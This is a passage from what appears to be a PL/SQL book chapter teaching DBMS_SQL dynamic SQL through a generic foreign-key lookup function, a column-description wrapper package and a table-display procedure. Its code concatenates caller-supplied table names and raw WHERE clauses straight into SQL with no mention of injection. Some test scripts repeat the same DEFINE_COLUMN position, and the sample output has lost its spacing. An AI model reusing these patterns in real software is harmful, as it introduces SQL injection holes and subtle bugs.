In this version, the last three parameters have default values. If the user does not specify an ID column name, the default is the table name with the default suffix. The same goes for the fk_name column. If the user includes a value for either of these arguments, then if the value starts with an underscore ( _ ), it will be used as a suffix to the table name. Otherwise, the value will be used as a complete column name. The following table shows how parameter values will be converted inside the program.

Column | to fk_name | Converted Value
ID column | NULL | caller_id
Name column | NULL | caller_nm
ID column | caller_number | caller_number
ID column | caller_name | caller_name
ID column | _# | caller_#
Name column | _fullname | caller_fullname

Here, then, in Version 2, we have an even more generic function to return foreign key names.

/* Filename on companion disk: fkname2.sf */*
CREATE OR REPLACE FUNCTION fk_name
   (fk_id_in IN INTEGER,
    fk_table_in IN VARCHAR2,
    fk_id_col_in IN VARCHAR2 := '_ID',
    fk_nm_col_in IN VARCHAR2 := '_NM',
    max_length_in IN INTEGER := 100)
RETURN VARCHAR2
/* I will not repeat any comments from first version of fk_name. */
IS
   /*
   || Local variables to hold column names, since I must construct
   || those names based on the values provided. If the column names
   || are NULL, then fall back on the defaults.
   */
   fk_id_column VARCHAR2(60) := NVL (fk_id_col_in, '_ID');
   fk_nm_column VARCHAR2(60) := NVL (fk_nm_col_in, '_NM');

   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk INTEGER;
   /*
   || The return value of the function. Notice that even though one
   || of the parameters now specifies a maximum size for the return
   || value, I still do have to hardcode a size in my declaration.
   */
   return_value VARCHAR2(100) := NULL;

   /*---------------------- Local Module ---------------------------*/

   PROCEDURE convert_column (col_name_inout IN OUT VARCHAR2)
   /*
   || Construct the column name. If the argument begins with a "_",
   || use as suffix to table name. Otherwise, substitute completely.
   */
   IS
   BEGIN
      IF SUBSTR (col_name_inout, 1, 1) = '_'
      THEN
         col_name_inout := fk_table_in || col_name_inout;
      ELSE
         /* Default value on variable declaration already handles it */
         NULL;
      END IF;
   END;

BEGIN
   /* Convert the column names as necessary based on arguments */
   convert_column (fk_id_column);
   convert_column (fk_nm_column);

   /* Parse statement using converted column names */
   DBMS_SQL.PARSE
      (cur,
       'SELECT ' || fk_nm_column ||
       '  FROM ' || fk_table_in ||
       ' WHERE ' || fk_id_column || ' = :fk_value',
       DBMS_SQL.NATIVE);

   DBMS_SQL.BIND_VARIABLE (cur, 'fk_value', fk_id_in);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, fk_nm_column, max_length_in);
   fdbk := DBMS_SQL.EXECUTE (cur);
   fdbk := DBMS_SQL.FETCH_ROWS (cur);
   IF fdbk > 0
   THEN
      DBMS_SQL.COLUMN_VALUE (cur, 1, return_value);
   END IF;
   DBMS_SQL.CLOSE_CURSOR (cur);
   RETURN return_value;
END;

With this new version of fk_name, I can certainly retrieve the caller's name and the call type description without specifying all the columns, assuming that their columns match my conventions.

  • Assume that table caller has caller_id and caller_nm columns:

      :call.name := fk_name (:call.caller_id, 'caller');

  • Assume that call_type table has call_type_id and call_type_nm columns:

      :call.call_type_ds := fk_name (:call.call_type_id, 'call_type');

Of course, conventions do not hold so consistently in the real world. In fact, I have found that database administrators and data analysts will often treat an entity like caller, with its caller ID number and caller name, differently from the way they would treat a caller type, with its type code and description. The columns for the caller type table are more likely to be caller_typ_cd and caller_typ_ds. Fortunately, fk_name will still handle this situation as follows:

  • A full set of defaults works just fine:

      :call.name := fk_name (:call.caller_id, 'caller');

  • Use alternative suffixes for a code table:

      :call.call_type_ds :=
  fk_name (:call.call_type_id, 'call_type', '_cd', '_ds');

You might scoff and say, "Why bother providing just the suffixes? Might as well go ahead and provide the full column names." But there is a value to this approach: if the data analysts have adopted standards for their naming conventions of tables and key columns, the fk_name interface supports and reinforces these standards, and avoids supplying redundant information.

Is that it, then? Have we gone as far as we can go with fk_name? Surely some of you have looked at those rather simple SELECT statements and thought, "Gee, very few of my lookups actually resemble such queries." I agree. Sometimes you will need to check an additional column on the table, such as a "row active?" flag. You might even have several records, all for the same primary key, but active for different periods. So you should also pass a date against which to check.

How can you handle these application-specific situations? When in doubt, just add another parameter!

Sure. Why not add a parameter containing either a substitute WHERE clause for the SQL statement, or a clause to be appended to the rest of the default WHERE clause? The specification for fk_name would then change to the following:

/* Filename on companion disk: fkname3.sf */*
FUNCTION fk_name
   (fk_id_in IN INTEGER,
    fk_table_in IN VARCHAR2,
    fk_id_col_in IN VARCHAR2 := '_ID',
    fk_nm_col_in IN VARCHAR2 := '_NM',
    max_length_in IN INTEGER := 100,
    where_clause_in IN VARCHAR2 := NULL)
RETURN VARCHAR2;

The rule for this WHERE clause would be as follows: if the string starts with the keywords AND or OR, then the text is appended to the default WHERE clause. Otherwise, the argument substitutes completely for the default WHERE clause.

Rather than repeat the entire body of fk_name, I offer only the modifications necessary to PARSE, and thus effect this change in the following code:

IF UPPER (where_clause_in) LIKE 'AND%' OR
   UPPER (where_clause_in) LIKE 'OR%'
THEN
   /* Append the additional Boolean expressions to default */
   where_clause :=
      ' WHERE ' || fk_id_column || ' = :fk_value ' || where_clause_in;

ELSIF where_clause_in IS NOT NULL
THEN
   /* Substitute completely the WHERE clause */
   where_clause := ' WHERE ' || where_clause_in;

ELSE
   /* Just stick with default */
   where_clause := ' WHERE ' || fk_id_column || ' = :fk_value';
END IF;

/* Now the call to PARSE uses the pre-processed WHERE clause */
DBMS_SQL.PARSE
   (cur,
    'SELECT ' || fk_nm_column || '  FROM ' ||
    fk_table_in || where_clause, DBMS_SQL.NATIVE);

Using this final version of fk_name, I can perform lookups as follows:

  • Retrieve only the description of the call type if that record is still flagged as active. Notice that I must stick several single quotes together to get the right number of quotes in the evaluated argument passed to fk_name.

    :call.call_type_ds :=
   fk_name (:call.call_type_id, 'call_type', '_cd', '_ds', 25,
            'AND row_active_flag = ''Y''');

  • Retrieve the name of the store kept in the record for the current year. Notice that the ID and name arguments in the call to fk_name are NULL. I have to include values here since I want to provide the WHERE clause, but I will pass NULL and thereby use the default values (without having to know what those defaults are!).

    /* Only the record for this year should be used */
year_number := TO_CHAR (SYSDATE, 'YYYY');
/*
|| Pass check for year to WHERE clause. */
:store.description :=
   fk_name (:store.store_id, 'store_history', NULL, NULL, 60,
            'AND TO_CHAR (eff_date, ''YYYY'') = ''' ||
               year_number || '''');

The fragment of the WHERE clause passed to fk_name can be arbitrarily complex, including subselects, correlated subqueries, and a whole chain of conditions joined by ANDs and ORs.

2.5.3 A Wrapper for DBMS_SQL .DESCRIBE_COLUMNS

The DESCRIBE_COLUMNS procedure provides a critical feature for those of us writing generic, flexible code based on dynamic SQL. With earlier versions of DBMS_SQL, there was no way to query runtime memory to find out the internal structure of a cursor. Now you can do this with DESCRIBE_COLUMNS, but it is very cumbersome. As shown in the section Section 2.3.11, "Describing Cursor Columns "," you must declare a PL/SQL table, read the cursor structure into that table, and then traverse the table to get the information you need.

A much better approach is to write the code to perform these steps once and then encapsulate all that knowledge into a package. Then you can simply call the programs in the package and not have to worry about all the internal data structures and operations that have to be performed.

You will find an example of this "wrapper" around DESCRIBE_COLUMNS on your companion disk. Here is the specification of that package:

/* Filename on companion disk: desccols.spp */*
CREATE OR REPLACE PACKAGE desccols
IS
   varchar2_type CONSTANT PLS_INTEGER := 1;
   number_type CONSTANT PLS_INTEGER := 2;
   date_type CONSTANT PLS_INTEGER := 12;
   char_type CONSTANT PLS_INTEGER := 96;
   long_type CONSTANT PLS_INTEGER := 8;
   rowid_type CONSTANT PLS_INTEGER := 11;
   raw_type CONSTANT PLS_INTEGER := 23;
   mlslabel_type CONSTANT PLS_INTEGER := 106;
   clob_type CONSTANT PLS_INTEGER := 112;
   blob_type CONSTANT PLS_INTEGER := 113;
   bfile_type CONSTANT PLS_INTEGER := 114;

   PROCEDURE forcur (cur IN INTEGER);

   PROCEDURE show (fst IN INTEGER := 1, lst IN INTEGER := NULL);
     FUNCTION numcols RETURN INTEGER;
   FUNCTION nthcol (num IN INTEGER) RETURN DBMS_SQL.DESC_REC;
END desccols;
/

Before we look at the implementation of this package, let's explore how you might use it. I declare a set of constants that give names to the various column types. This way, you don't have to remember or place in your code the literal values. Now notice that there are no other data structures defined in the specification. Most importantly, there is no declaration of a PL/SQL table based on DBMS_SQL.DESC_T to hold the description information. That table is instead hidden away inside the package body. You call the desccols.forcur procedure to "describe the columns for a cursor," passing it your cursor ID or handle, to load up that table by calling DESCRIBE_COLUMNS. You then can take any of the following actions against that PL/SQL table of column data:

  • Show the column information by calling desccols.show (the prototype on disk shows only the column name and column type).

  • Retrieve the total number of columns in the table with a call to desccols.numcols.

  • Retrieve all the information for a specific column by calling the desccols.nthcol function.

The following script defines a cursor, extracts the cursor information with a call to desccols.forcur, and then shows the cursor information:

/* Filename on companion disk: desccols.tst */*
DECLARE
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
BEGIN
   DBMS_SQL.PARSE
     (cur, 'SELECT ename, sal, hiredate FROM emp', DBMS_SQL.NATIVE);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, 'a', 60);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, 1);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, SYSDATE);
   desccols.forcur (cur);
   desccols.show;
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

Here is the output in SQL*Plus:

Column 1
ENAME
1
Column 2
SAL
2
Column 3
HIREDATE
12

In this next example, I load up the column information, use the nthcol function to get the information about just one column, deposit it in a locally declared record, and then check the column type.

DECLARE
   cur integer := dbms_sql.open_cursor;
   rec DBMS_SQL.DESC_REC;
BEGIN
   dbms_sql.PARSE
      (cur, 'SELECT ename, sal, hiredate FROM emp', DBMS_SQL.NATIVE);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, 'a', 60);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, 1);
   DBMS_SQL.DEFINE_COLUMN (cur, 1, SYSDATE);
   desccols.forcur (cur);
   rec := desccols.nthcol (1);
   IF rec.col_type = desccols.varchar2_type
   THEN
      DBMS_OUTPUT.PUT_LINE ('Process as string!');
   END IF;
   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

And I get this output when executed:

Process as string!

Notice how I have shifted from dealing with the low-level details of the DESCRIBE_COLUMNS built-in to manipulating all that data through a clear, easy-to-use API. It is not as though the code you need to write (and you will find in the body of the next package) is all that complicated. But why bother with this code again and again when you can write it once and then just pass in the pointer to the cursor and let the package do all the work?

The implementation of the desccols package is straightforward.

/* Filename on companion disk: desccols.spp */*
CREATE OR REPLACE PACKAGE BODY desccols
IS
   /* Here is the PL/SQL table holding the column information. */
   desctab DBMS_SQL.DESC_TAB;
   desccnt PLS_INTEGER;
   firstrow PLS_INTEGER;
   lastrow PLS_INTEGER;

   PROCEDURE forcur (cur IN INTEGER)
   IS
   BEGIN
      /* Clear out the PL/SQL table */
      desctab.DELETE;

      /* Fill up the PL/SQL table */
      DBMS_SQL.DESCRIBE_COLUMNS (cur, desccnt, desctab);

      /* Get the first and last row numbers to avoid future lookups */
      firstrow := desctab.FIRST;
      lastrow := desctab.LAST;
   END;

   PROCEDURE show (fst IN INTEGER := 1, lst IN INTEGER := NULL)
   IS
   BEGIN
      IF desccnt > 0
      THEN
         /* Show the specified rows. */
         FOR colind IN
            GREATEST (fst, firstrow) ..
            LEAST (NVL (lst, lastrow), lastrow)
         LOOP
            /* Add additional lines of output as you desire */
            DBMS_OUTPUT.PUT_LINE ('Column ' || TO_CHAR (colind));
            DBMS_OUTPUT.PUT_LINE (desctab(colind).col_name);
            DBMS_OUTPUT.PUT_LINE (desctab(colind).col_type);
         END LOOP;
      END IF;
   END;

   FUNCTION numcols RETURN INTEGER
   IS
   BEGIN
      RETURN desccnt;
   END;

   FUNCTION nthcol (num IN INTEGER) RETURN DBMS_SQL.DESC_REC
   IS
      retval DBMS_SQL.DESC_REC;
   BEGIN
      /* If a valid row number, retrieve that entire record. */
      IF num BETWEEN firstrow AND lastrow
      THEN
         retval := desctab(num);
      END IF;
      RETURN retval;
   END;
END;
/

2.5.4 Displaying Table Contents with Method 4 Dynamic SQL

This section examines the kind of code you need to write to perform dynamic SQL Method 4. Method 4, introduced early in this chapter, supports queries that have a variable (defined only at runtime) number of items in the SELECT list and/or a variable number of host variables. Here is an example of Method 4 dynamic SQL:

'SELECT ' || variable_select_list ||
'  FROM ' || table_name ||
' WHERE sal > :minsal
'   AND ' || second_clause ||
order_by_clause

Notice that with this SQL statement, I do not know how many columns or expressions are returned by the query. The names of individual columns are "hidden" in the variable select list. I also do not know the full contents of the WHERE clause; the minsal bind variable is obvious, but what other bind variable references might I find in the second_clause string? As a result of this uncertainty, Method 4 dynamic SQL is the most complicated kind of dynamic query to handle with DBMS_SQL.

What's so hard about that? Well, if I am going to use the DBMS_SQL package to execute and fetch from such a query, I need to write and compile a PL/SQL program. Specifically, to parse the SQL statement, I need to define the columns in the cursor with calls to DEFINE_COLUMN -- yet I do not know the list of columns at the time I am writing my code. To execute the query, I must associate values to all of my bind variables (identifiers with a ":" in front of them) by calling BIND_VARIABLE -- yet I do not know the names of those bind variables at the time I write my code. Finally, to retrieve data from the result set of the query I also need to call COLUMN_VALUE for each column. But, again, I do not know the names or datatypes of those columns up front.

Sounds challenging, doesn't it? In fact, working with these incredibly dynamic SQL strings requires some interesting string parsing and some even more creative thinking.

When would you run into Method 4? It arises when you build a frontend to support ad-hoc query generation by users, or when you want to build a generic report program, which constructs the report format and contents dynamically at runtime. I also encountered it recently when I decided to build a PL/SQL procedure to display the contents of a table -- any table, as specified by the user at runtime. This section explores what it took for me to implement this "in table" procedure.

2.5.4.1 The "in table" procedural interface

Before I dive into the PL/SQL required to create my procedure, I should explore my options. After all, it is certainly very easy for me to build a script in SQL*Plus to display the contents of any table.

SELECT * FROM &1

I could even spice it up with a variable select list and WHERE clause as follows:

SELECT &1
  FROM &2
 WHERE &3
 ORDER BY &4

In fact, SQL*Plus is a very flexible, powerful front-end tool for SQL scripts. Yet no matter how fancy I get with substitution parameters in SQL*Plus, this is not code I can run from within PL/SQL. Furthermore, PL/SQL gives me more procedural control over how to specify the data I want to see and how to display the data. Finally, if I use PL/SQL, then I get to play with DBMS_SQL! On the downside, however, from within PL/SQL I must rely on DBMS_OUTPUT (described in Chapter 7, Defining an Application Profile) to display my table contents, so I must reckon with the buffer limitations of that built-in package (a maximum of 1,000,000 bytes of data -- you will clearly not use my procedure to display very large quantities of data).

So I will use PL/SQL and DBMS_SQL. But before building any code, I need to come up with a specification. How will the procedure be called? What information do I need from my user (a developer, in this case)? What should a user have to type to retrieve the desired output? I want my procedure (which I call "intab" for "in table") to accept the inputs in the following table.

Parameter | Description
Name of the table | Required. Obviously, a key input to this program.
Maximum length of string displayed | Optional. Sets an upper limit on the size of string columns. I do not even attempt to do the kind of string wrapping performed in SQL*Plus. Instead, SUBSTR simply truncates the values.
WHERE clause | Optional. Allows you to restrict the rows retrieved by the query. If not specified, all rows are retrieved. You can also use this parameter to pass in ORDER BY and HAVING clauses, since they follow immediately after the where clause.
Format for date columns | Optional. Allows you to set the standard format for date displays. The default includes date and time information. When using SQL*Plus, I find it very irritating to constantly have to use TO_CHAR to see the time portion of my date fields.

Given these inputs, the specification for my procedure becomes the following:

PROCEDURE intab
   (table_in IN VARCHAR2,
    string_length_in IN INTEGER := 20,
    where_in IN VARCHAR2 := NULL,
    date_format_in IN VARCHAR2
       := 'MM/DD/YY HHMISS')

Here are some examples of calls to intab:

execute intab ('emp');

execute intab
   ('emp', 20,  'deptno = ' || v_deptno || ' order by sal');

These two calls to intab produce the following output:

execute intab ('emp');
-----------------------------------------------------------------------------
                           Contents of emp
-----------------------------------------------------------------------------
EMPNO ENAMEJOBMGR  HIREDATESALCOMMDEPTNO
-----------------------------------------------------------------------------
7839  KINGPRESIDENT11/17/81 120000500010
7698  BLAKE MANAGER7839 05/01/81 120000285030
7782  CLARKMANAGER7839 06/09/81 120000245010
7566  JONESMANAGER7839 04/02/81 120000297520
7654  MARTINSALESMAN7698 09/28/81 1200001250    140030
7499  ALLENSALESMAN7698 02/20/81 1200001600    3000
7844  TURNERSALESMAN7698 09/08/81 1200001500    0    30
7900  JAMESCLERK7698 12/03/81 12000095030
7521  WARDSALESMAN7698 02/22/81 1200001250    500  30
7902  FORDANALYST7566 12/03/81 120000300020
7369  SMITHCLERK7902 12/17/80 12000080020
7788  SCOTTANALYST7566 12/09/82 120000300020
7876  ADAMSCLERK7788 01/12/83 120000110020
7934  MILLERCLERK7782 01/23/82 120000130010

execute intab ('emp', 20, 'deptno = 10 order by sal');
-----------------------------------------------------------------------
                           Contents of emp
-----------------------------------------------------------------------
EMPNO ENAMEJOB       MGR  HIREDATESALCOMMDEPTNO
-----------------------------------------------------------------------
7934  MILLERCLERK7782 01/23/82 120000130010
7782  CLARKMANAGER7839 06/09/81 120000245010
7839  KINGPRESIDENT11/17/81 120000500010

Notice that the user does not have to provide any information about the structure of the table. My program will get that information itself -- precisely the aspect of intab that makes it a Method 4 dynamic SQL example.

While this version of intab will certainly be useful, I am the first to recognize that there are many other possible enhancements to intab, including:

  • Supplying a list of only those columns you wish to display. This will bypass the full list of columns for the table (which, as you will see, is extracted from the data dictionary).

  • Supplying a list of those columns you wish to exclude from display. If your table has 50 columns, and you don't want to display three of those columns, it's a lot easier to list the three you don't want than the 47 you do want.

  • Supplying an ORDER BY clause for the output. You could do this through the WHERE clause, but it is certainly more structured to provide a separate input.

  • Providing a format for numeric data in addition to the date format.

So, yes, there is always more one can do, but this one (yours truly) would like to leave some interesting work for his readers. To encourage you to take my intab and "run with it," I will, in this section, step you through the usage of DBMS_SQL required to implement the intab procedure. (The full program is contained on the companion disk.)

2.5.4.2 Steps for intab construction

In order to display the contents of a table, follow these steps:

  1. Construct and parse the SELECT statement (using OPEN_CURSOR and PARSE).

  2. Bind all local variables with their placeholders in the query (using BIND_VARIABLE).

  3. Define each column in the cursor for this query (using DEFINE_COLUMN).

  4. Execute and fetch rows from the database (using EXECUTE and FETCH_ROWS).

  5. Retrieve values from the fetched row and place them into a string for display purposes (using COLUMN_VALUE). Then display that string with a call to the PUT_LINE procedure of the DBMS_OUTPUT package.

NOTE: My intab implementation does not currently support bind variables. I assume, in other words, that the where_clause_in argument does not contain any bind variables. As a result, I will not be exploring in detail the code required for step 2.

2.5.4.3 Constructing the SELECT

In order to extract the data from the table, I have to construct the SELECT statement. The structure of the query is determined by the various inputs to the procedure (table name, WHERE clause, etc.) and the contents of the data dictionary. Remember that the user does not have to provide a list of columns. Instead, I must identify and extract the list of columns for that table from a data dictionary view. I have decided to use all_tab_columns in intab so the user can view the contents not only of tables he, or she, owns (which are accessible in user_tab_columns), but also any table for which he, or she, has SELECT access.

Here is the cursor I use to fetch information about the table's columns:

CURSOR col_cur
   (owner_in IN VARCHAR2,
    table_in IN VARCHAR2)
IS
   SELECT column_name, data_type,
          data_length,
          data_precision, data_scale
     FROM all_tab_columns
    WHERE owner = owner_in
      AND table_name = table_in;

Using Dot Notation

Notice that my cursor takes two parameters, owner_in and table_in, but that my program itself only accepts a single table name parameter. Rather than have the user pass this information in as two separate parameters, she can use standard dot notation, as in SCOTT.EMP, and the intab procedure will parse them as follows:

dot_loc := INSTR (table_nm, '.');
IF dot_loc > 0
THEN
   owner_nm := SUBSTR (table_nm, 1, dot_loc-1);
   table_nm := SUBSTR (table_nm, dot_loc+1);
END IF;

You should always try to make the interface as seamless and intelligent as possible for your users. You should also always try to make use of existing programs to implement your own. In this case (as pointed out to me by Dan Clamage, a technical reviewer), you can also use DBMS_UTILITY.NAME_TOKENIZE to parse this object name.

With this column cursor, I extract the name, datatype, and length information for each column in the table. How should I store all of this information in my PL/SQL program? To answer this question, I need to think about how that data will be used. It turns out that I will use it in many ways, for example:

  • I will use the column names to build the select list for the query.

  • To display the output of a table in a readable fashion, I need to provide a column header that shows the names of the columns over their data. These column names must be spaced out across the line of data in, well, columnar format. So I need the column name and the length of the data for that column.

  • To fetch data into a dynamic cursor, I need to establish the columns of the cursor with calls to DEFINE_COLUMN. For this, I need the column datatype and length.

  • To extract the data from the fetched row with COLUMN_VALUE, I need to know the datatypes of each column, as well as the number of columns.

  • To display the data, I must construct a string containing all the data (using TO_CHAR to convert numbers and dates). Again, I must pad out the data to fit under the column names, just as I did with the header line.

Therefore, I need to work with the column information several times throughout my program, yet I do not want to read repeatedly from the data dictionary. As a result, when I query them out of the all_tab_columns view, I will store the column data in three PL/SQL tables.

Table | Description
colname | The name of each column.
coltype | The datatype of each column, a string describing the datatype.
collen | The number of characters required to display the column data.

So if the third column of the emp table is SAL, then colname(3) = `SAL', coltype(3) = `NUMBER', and collen(3) = 7, and so forth.

The name and datatype information is stored directly from the data dictionary. When I work with the DBMS_SQL built-ins, however, they do not use the strings describing the datatypes (such as "CHAR" and "DATE"). Instead, DEFINE_COLUMN and COLUMN_VALUE rely on PL/SQL variables to infer the correct datatypes. So I use three local functions, is_string, is_date, and is_number, to help me translate a datatype into the correct variable usage. The is_string function, for example, validates that both CHAR and VARCHAR2 are string datatypes:

FUNCTION is_string (row_in IN INTEGER) RETURN BOOLEAN
IS
BEGIN
  RETURN (coltype(row_in) IN ('CHAR', 'VARCHAR2'));
END;

Figuring out the appropriate number of characters required to fit the column's data (the contents of the collen PL/SQL table) is a bit more complicated.

2.5.4.4 Computing column length

I need to take several different aspects of the column into account:

  1. The length of the column name (you don't want the column length to be smaller than the header).

  2. The maximum length of the data. If it's a string column, that information is contained in the data_length column of all_tab_columns.

  3. If it's a number column, that information is contained in the data_precision column of the view (unless the datatype is unconstrained, in which case that information is found in the data_length column).

  4. If it's a date column, the number of characters will be determined by the length of the date format mask.

As you can see, the type of data partially determines the type of calculation I perform for the length. Here's the formula for computing a string column's length:

GREATEST
  (LEAST (col_rec.data_length, string_length_in),
   LENGTH (col_rec.column_name))

The formula for a numeric column length is as follows:

GREATEST
   (NVL (col_rec.data_precision, col_rec.data_length),
    LENGTH (col_rec.column_name))

Finally, here's the formula for a date column length:

GREATEST (LENGTH (date_format_in), LENGTH (col_rec.column_name))

I use these formulas inside a cursor FOR loop that sweeps through all the columns for a table (as defined in all_tab_columns). This loop (shown following) fills my PL/SQL tables:

FOR col_rec IN
    col_cur (owner_nm, table_nm)
LOOP
   /* Construct select list for query. */
   col_list := col_list || ', ' || col_rec.column_name;

   /* Save datatype and length for calls to DEFINE_COLUMN. */
   col_count := col_count + 1;
   colname (col_count) := col_rec.column_name;
   coltype (col_count) := col_rec.data_type;

   /* Compute the column length with the
      above formulas in a local module. */
   collen (col_count) := column_lengths;

   /* Store length and keep running total. */
   line_length := line_length + v_length + 1;

   /* Construct column header line. */
   col_header := col_header || ' ' || RPAD (col_rec.column_name, v_length);
END LOOP;

When this loop completes, I have constructed the select list, populated my PL/SQL tables with the column information I need for calls to DEFINE_COLUMN and COLUMN_VALUE, and also created the column header line. Now that was a busy loop!

Next step? Construct the WHERE clause. In the following code, I check to see if the "WHERE clause" might actually just be a GROUP BY or ORDER BY clause. In those cases, I'll skip the WHERE part and attach this other information.

IF where_clause IS NOT NULL
THEN
   IF (where_clause NOT LIKE 'GROUP BY%' AND
       where_clause NOT LIKE 'ORDER BY%')
   THEN
      where_clause := 'WHERE ' || LTRIM (where_clause, 'WHERE');
   END IF;
END IF;

I have now finished construction of the SELECT statement. Time to parse it, and then construct the various columns in the dynamic cursor object.

2.5.4.5 Defining the cursor structure

The parse phase is straightforward enough. I simply cobble together the SQL statement from its processed and refined components.

DBMS_SQL.PARSE
   (cur,
    'SELECT ' || col_list ||
    '  FROM ' || table_in || ' ' || where_clause,
    DBMS_SQL.NATIVE);

Of course, I want to go far beyond parsing. I want to execute this cursor. Before I do that, however, I must give some structure to the cursor. Remember: when you open a cursor, you have merely retrieved a handle to a chunk of memory. When you parse the SQL statement, you have associated a SQL statement with that memory. But as a next step, you must define the columns in the cursor so that it can actually store fetched data.

With Method 4 dynamic SQL, this association process is complicated. I cannot "hard-code" the number or type of calls to DEFINE_COLUMN in my program; I do not have all the information until runtime. Fortunately, in the case of intab, I have kept track of each column to be retrieved. Now all I need to do is issue a call to DEFINE_COLUMN for each row defined in my PL/SQL table colname. Before we go through the actual code, here are some reminders about DEFINE_COLUMN.

The header for this built-in procedure is as follows:

PROCEDURE DBMS_SQL.DEFINE_COLUMN
    (cursor_handle IN INTEGER,
    position IN INTEGER,
    datatype_in IN DATE|NUMBER|VARCHAR2)

There are three things to keep in mind with this built-in:

  1. The second argument is a number; DEFINE_COLUMN does not work with column names -- only with the sequential position of the column in the list.

  2. The third argument establishes the datatype of the cursor's column. It does this by accepting an expression of the appropriate type. You do not, in other words, pass a string like "VARCHAR2" to DEFINE_COLUMN. Instead, you would pass a variable defined as VARCHAR2.

  3. When you are defining a character-type column, you must also specify the maximum length of values retrieved into the cursor.

In the context of intab, the row in the PL/SQL table is the Nth position in the column list. The datatype is stored in the coltype PL/SQL table, but must be converted into a call to DEFINE_COLUMN using the appropriate local variable. These complexities are handled in the following FOR loop:

FOR col_ind IN 1 .. col_count
LOOP
  IF is_string (col_ind)
  THEN
    DBMS_SQL.DEFINE_COLUMN
      (cur, col_ind, string_value, collen (col_ind));

  ELSIF is_number (col_ind)
  THEN
    DBMS_SQL.DEFINE_COLUMN (cur, col_ind, number_value);

  ELSIF is_date (col_ind)
  THEN
    DBMS_SQL.DEFINE_COLUMN (cur, col_ind, date_value);
  END IF;
END LOOP;

When this loop is completed, I will have called DEFINE_COLUMN for each column defined in the PL/SQL tables. (In my version this is all columns for a table. In your enhanced version, it might be just a subset of all these columns.) I can then execute the cursor and start fetching rows. The execution phase is no different for Method 4 than it is for any of the other simpler methods,

fdbk := DBMS_SQL.EXECUTE (cur);

where fdbk is the feedback returned by the call to EXECUTE. Now for the finale: retrieval of data and formatting for display.

2.5.4.6 Retrieving and displaying data

I use a cursor FOR loop to retrieve each row of data identified by my dynamic cursor. If I am on the first row, I will display a header (this way, I avoid displaying the header for a query which retrieves no data). For each row retrieved, I build the line and then display it:

LOOP
   fdbk := DBMS_SQL.FETCH_ROWS (cur);
   EXIT WHEN fdbk = 0;

   IF DBMS_SQL.LAST_ROW_COUNT = 1
   THEN
      /* We will display the header information here */
      ...
   END IF;

   /* Construct the line of text from column information here */
   ...

   DBMS_OUTPUT.PUT_LINE (col_line);
END LOOP;

The line-building program is actually a numeric FOR loop in which I issue my calls to COLUMN_VALUE. I call this built-in for each column in the table (information that is stored in -- you guessed it -- my PL/SQL tables). As you can see below, I use my is_* functions to determine the datatype of the column and therefore the appropriate variable to receive the value.

Once I have converted my value to a string (necessary for dates and numbers), I pad it on the right with the appropriate number of blanks (stored in the collen PL/SQL table) so that it lines up with the column headers.

col_line := NULL;
FOR col_ind IN 1 .. col_count
LOOP
   IF is_string (col_ind)
   THEN
      DBMS_SQL.COLUMN_VALUE (cur, col_ind, string_value);

   ELSIF is_number (col_ind)
   THEN
      DBMS_SQL.COLUMN_VALUE (cur, col_ind, number_value);
      string_value := TO_CHAR (number_value);

   ELSIF is_date (col_ind)
   THEN
      DBMS_SQL.COLUMN_VALUE (cur, col_ind, date_value);
      string_value := TO_CHAR (date_value, date_format_in);
   END IF;

   /* Space out the value on the line
      under the column headers. */
   col_line := col_line || ' ' || RPAD (NVL (string_value, ' '),
      collen (col_ind));
END LOOP;

There you have it. A very generic procedure for displaying the contents of a database table from within a PL/SQL program. It all fell pretty smoothly into place once I got the idea of storing my column structures in a set of PL/SQL tables. Drawn on repeatedly, those in-memory tables made it easy to implement Method 4 dynamic SQL -- another example of how taking full advantage of everything PL/SQL has to offer strengthens your ability to implement quickly and cleanly.

2.5.4.7 Build those utilities!

I suppose you could read this section and shrug, thinking: "Well, I don't feel like I have the time to write these kinds of generic utilities." I urge you to reject this line of reasoning. You always have time to create a more generic, generally useful implementation. Any time you spend up-front to craft high-quality, well-designed modules will pay off -- for you personally, and for all others who benefit from your labors.

PL/SQL offers endless possibilities for building reusable code, which will save you many hours of development, debugging, and maintenance. The DBMS_SQL package in particular is a veritable gold mine. Dive in and try your hand at dynamic SQL!

2.5.4.8 Full text of intab procedure

Because the full intab procedure is so long, I haven't included it here. For the full text of this procedure, see the intab.sp file on the companion disk.

2.5.5 Indirect Referencing in PL/SQL

I cut my teeth, so to speak, with Oracle software on a product called SQL*Forms. Back around 1987-1989, it was a really hot product for application development, and I was a guru. I wrote recursive triggers. I wrote a debugger for this product so thoroughly lacking in a debugger. I could produce robust forms in little or no time. It was very sad, then, for many of us, when Windows and other GUIs came along, and Oracle Corporation did not keep up. Of course, Oracle Forms has come a long way and is competing well with PowerBuilder and SQL*Windows and Visual Basic. That makes me happy because it has some really neat features, one of which is indirect referencing.

Oracle Forms offers two built-ins, the NAME_IN function and the COPY procedure, which allow you to retrieve and set by name the values of variables inside your form. For example, I can set the value of the global variable GLOBAL.right_now to SYSDATE with the following call,

COPY (TO_CHAR (SYSDATE), 'global.right_now');

and I can retrieve the value of that same global with a call to NAME_IN:

v_date := TO_DATE (NAME_IN ('global.right_now'));

Some of you might, and should, be saying to yourself, "Well, heck, why not just use the assignment operator," as in,

v_date := TO_DATE (:GLOBAL.right_now);

and you would of course be right -- in this situation. The power of NAME_IN and COPY, however, become clear when instead of using them with "hard-coded" variable names, you construct the name of the variable at runtime. Here is an example:

COPY (TO_CHAR (SYSDATE), 'global.date_in_year' || TO_CHAR (v_yearnum));

In this case, the name of the variable to which SYSDATE is assigned is not determined until this line of code is executed and the v_yearnum variable is evaluated. This "indirect reference" to the GLOBAL variable in question offers developers a tremendous amount of flexibility. Indirect referencing will come in most handy when you are building generic utilities in which the very structure of your PL/SQL in-memory data is not defined until runtime.

